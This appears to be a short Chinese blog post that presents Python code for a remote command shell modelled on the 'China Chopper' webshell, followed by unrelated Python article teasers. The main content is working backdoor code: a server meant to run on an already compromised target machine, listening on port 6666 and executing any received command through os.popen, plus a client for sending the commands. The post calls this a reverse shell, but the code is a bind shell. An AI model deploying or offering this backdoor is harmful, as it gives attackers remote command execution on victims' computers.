python模拟菜刀反弹shell绕过限制【推荐】

yipeiwu_com7年前Python基础

有的时候我们在获取到目标电脑时候如果对方电脑又python 编译环境时可以利用python 反弹shell

主要用到python os库和sokect库

这里的服务端在目标机上运行

from socket import *
from os import *
s=socket(AF_INET,SOCK_STREAM)#IVP4 寻址 tcp协议
s.bind(('',6666))#补丁端口
s.listen(1)#开始监听一个队列
while True:
  sock,addr=s.accept()#返回两次 第一次返回连接地址 二 端口号
  print ('客户端:',addr)
  while True:
    cmd=sock.recv(1024)#缓存长度 接收传递过来
    cmdstr=cmd.decode()
    if cmdstr=='exit':
      print ('客户端:',addr,'关闭')
      sock.close()
      break
    result=popen(cmdstr).read()
    sock.send(result.encode())
s.close()

本机运行

from socket import *
from os import *

c=socket(AF_INET,SOCK_STREAM)#IVP4 寻址 tcp协议
c.connect(('127.0.0.1',6666))#连接地址
while True:
  cmd=input("cmd:")
  c.send(cmd.encode())#必须传递流
  if cmd=='exit':
    c.close()
    break
  data=c.recv(1014)
  print (data.decode())

总结

以上所述是小编给大家介绍的python模拟菜刀反弹shell绕过限制,希望对大家有所帮助,如果大家有任何疑问欢迎给我留言,小编会及时回复大家的!

相关文章

python中import与from方法总结(推荐)

一、模块&包简介 模块:所谓模块就是一个.py文件,用来存放变量,方法的文件,便于在其他python文件中导入(通过import或from)。 包(package): 包是更大的组织单位...

Python进阶-函数默认参数(详解)

一、默认参数 python为了简化函数的调用,提供了默认参数机制: def pow(x, n = 2): r = 1 while n > 0: r *= x n...

django 多数据库配置教程

在django项目中, 一个工程中存在多个APP应用很常见. 有时候希望不同的APP连接不同的数据库,这个时候需要建立多个数据库连接。 1. 修改项目的 settings 配置 在 s...

python遍历一个目录,输出所有的文件名的实例

python 获取一个文件夹内(包括子文件夹)所有文件的名字和路径 import os dir = "e:\\" for root, dirs, files in os.walk(d...

python gdal安装与简单使用

python gdal安装与简单使用

gdal安装 方式一:在网址 https://www.lfd.uci.edu/~gohlke/pythonlibs/ 下载对应python版本的whl文件,在命令行中pip instal...